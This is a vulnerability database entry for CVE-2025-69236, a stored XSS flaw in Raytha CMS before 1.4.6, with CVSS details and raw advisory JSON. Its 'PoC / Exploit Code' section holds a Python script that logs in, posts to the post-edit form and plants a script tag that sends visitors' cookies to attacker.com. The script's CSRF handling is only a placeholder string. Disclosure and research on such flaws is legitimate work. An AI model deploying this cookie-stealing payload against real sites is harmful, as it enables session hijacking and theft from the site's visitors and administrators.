Security Vulnerability Report
中文
CVE-2025-69236 CVSS 5.4 MEDIUM

CVE-2025-69236

Published: 2026-03-16 14:18:00
Last Modified: 2026-03-16 19:32:10

Description

Raytha CMS is vulnerable to Stored XSS via FieldValues[1].Value parameter in post editing functionality. Authenticated attacker with permissions to edit posts can inject arbitrary HTML and JS into website, which will be rendered/executed when visiting edited page. This issue was fixed in version 1.4.6.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:raytha:raytha:*:*:*:*:*:*:*:* - VULNERABLE
Raytha CMS < 1.4.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-69236 PoC - Raytha CMS Stored XSS Target: Raytha CMS < 1.4.6 Vulnerability: Stored XSS via FieldValues[1].Value parameter """ import requests import json TARGET_URL = "http://target-raytha-cms.com" USERNAME = "attacker_account" PASSWORD = "password123" def login(session, username, password): """Authenticate to Raytha CMS""" login_url = f"{TARGET_URL}/auth/login" data = { "email": username, "password": password } response = session.post(login_url, data=data, allow_redirects=True) return "dashboard" in response.url or response.status_code == 200 def exploit_stored_xss(session): """Inject XSS payload via FieldValues[1].Value parameter""" # Step 1: Navigate to post editing page posts_url = f"{TARGET_URL}/c/admin/posts" response = session.get(posts_url) # Step 2: Get CSRF token and post editing form edit_url = f"{TARGET_URL}/c/admin/posts/edit/1" response = session.get(edit_url) # Step 3: Extract CSRF token from form csrf_token = "extract_csrf_from_form(response.text)" # Step 4: Inject XSS payload in FieldValues[1].Value xss_payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' edit_data = { "_csrf": csrf_token, "title": "Malicious Post", "FieldValues[1].Value": xss_payload, # XSS injection point "FieldValues[2].Value": "Some content", "submit": "Save" } post_url = f"{TARGET_URL}/c/admin/posts/edit/1" response = session.post(post_url, data=edit_data) return response.status_code == 200 def main(): session = requests.Session() print("[*] Logging in to Raytha CMS...") if not login(session, USERNAME, PASSWORD): print("[-] Login failed!") return print("[+] Login successful!") print("[*] Injecting XSS payload...") if exploit_stored_xss(session): print("[+] XSS payload injected successfully!") print("[*] Wait for admin or user to visit the post page") print(f"[*] Payload: <script>fetch(\"https://attacker.com/steal?cookie=\"+document.cookie)</script>") else: print("[-] Exploitation failed!") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-69236", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:18:00.450", "lastModified": "2026-03-16T19:32:09.697", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Raytha CMS is vulnerable to Stored XSS via FieldValues[1].Value parameter in post editing functionality. Authenticated attacker with permissions to edit posts can inject arbitrary HTML and JS into website, which will be rendered/executed when visiting edited page.\n\nThis issue was fixed in version 1.4.6."}, {"lang": "es", "value": "Raytha CMS es vulnerable a XSS Almacenado a través del parámetro FieldValues[1].Value en la funcionalidad de edición de publicaciones. Atacante autenticado con permisos para editar publicaciones puede inyectar HTML y JS arbitrarios en el sitio web, que se renderizará/ejecutará al visitar la página editada.\n\nEste problema fue solucionado en la versión 1.4.6."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "PASSIVE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "LOW", "subIntegrityImpact": "LOW", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:raytha:raytha:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.4.6", "matchCriteriaId": "4A4FC7D6-F33F-4121-A375-B063263585FD"}]}]}], "references": [{"url": "https://cert.pl/en/posts/2026/03/CVE-2025-69236", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://raytha.com", "source": "[email protected]", "tags": ["Product"]}]}}